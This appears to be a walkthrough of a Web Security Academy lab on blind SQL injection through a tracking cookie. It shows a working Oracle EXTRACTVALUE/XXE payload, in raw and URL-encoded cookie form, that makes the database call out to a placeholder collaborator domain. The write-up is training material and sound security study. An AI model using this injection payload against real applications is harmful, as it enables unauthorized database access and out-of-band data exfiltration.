Blind SQL injection with out-of-band interaction

This lab contains a blind SQL injection vulnerability within the tracking cookie parameter used for analytics.
The application performs a backend SQL query using the cookie value — but unlike traditional SQLi, this query executes asynchronously and does not affect the immediate HTTP response.

Because the server’s output and timing don’t change, traditional techniques (like time-based or boolean-based SQLi) won’t work.
Instead, we’ll exploit it using Out-of-Band (OOB) interaction — making the database send a DNS request to a domain we control.

🧠 What Is an Out-of-Band Attack?

An Out-of-Band (OOB) SQL injection happens when your payload triggers a network interaction between the vulnerable database server and an external system you control.

Instead of returning data in the HTTP response, you receive evidence of the attack through an external channel — like a DNS or HTTP request to your listener.

In this lab, that listener is Burp Collaborator — a public interaction server that records incoming DNS and HTTP requests.

🧩 Conceptually:

1. You inject a malicious SQL payload into the app.
2. The database executes the payload.
3. The payload makes the database perform a DNS lookup to your unique Burp Collaborator domain.
4. You see this lookup appear in Burp → Collaborator Client panel, confirming vulnerability.

🎯 Objective

Your goal:

• Exploit the SQL injection via the TrackingId cookie.
• Make the database perform a DNS lookup to your Burp Collaborator domain.
• Confirm the interaction in Burp Collaborator.
• Lab is solved once the request is observed.

🧩 Step 1 — Identify the Injection Point

Initial observation:
The TrackingId cookie is reflected in SQL queries for analytics, as seen in the request below.

GET /product?productId=4 HTTP/2
Host: 0aec00f30333273680952b670020009b.web-security-academy.net
Cookie: TrackingId=aucKLb5VfV4bl0DF; session=3m5WZIZu0SKWbtF3TrzZWDc0aBkB89Dg

This is the vulnerable parameter we’ll inject into.

Here’s an example of the final injected request captured in Burp:

🧪 Step 2 — Crafting the OOB Payload

Because the SQL query executes asynchronously, we can’t rely on response time or visible errors.
Instead, we’ll use a payload that forces the database to fetch an external resource, causing a DNS lookup to our Burp Collaborator domain.

We use Oracle’s EXTRACTVALUE() function with an XML External Entity (XXE) injection pattern.

Example payload structure:

' || (SELECT EXTRACTVALUE(
        xmltype('<%?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://YOUR-COLLAB-DOMAIN.oastify.com/"> %remote;]>'),
        '/l'
     ) FROM dual)--

Inserted and URL-encoded inside the cookie, it looks like this:

Cookie: TrackingId=aucKLb5VfV4bl0DF'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//YOUR-COLLAB-DOMAIN.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual--;

Once sent, the database:

1. Parses the injected XML.
2. Loads the external entity %remote.
3. Performs a DNS lookup to your Collaborator domain.

🔬 Step 3 — Monitor Burp Collaborator

[]

Open Burp → Collaborator Client → Poll Now.

You’ll see an incoming DNS interaction from the lab server, confirming that your payload worked:

This entry shows:

• The type of interaction (DNS)
• The source (the lab’s backend)
• The exact payload domain used

This is your proof of successful Out-of-Band SQL injection.

🧩 Step 4 — Why This Works

This entire attack works because:

• The database evaluates your injected XML payload inside the SQL query.
• The SYSTEM entity in the DOCTYPE definition points to an external URL you control.
• When the database engine resolves that entity, it performs a DNS request.
• That DNS request hits Burp Collaborator, which logs the interaction.

We never see data in the HTTP response — instead we observe side effects (DNS traffic) to confirm our exploit.

🧠 Summary of the Flow

⚙️ Important Note

The Web Security Academy firewall blocks arbitrary external outbound traffic to prevent abuse.
Because of this, you must use Burp Collaborator’s default public server — custom or self-hosted domains will not receive callbacks from the lab environment.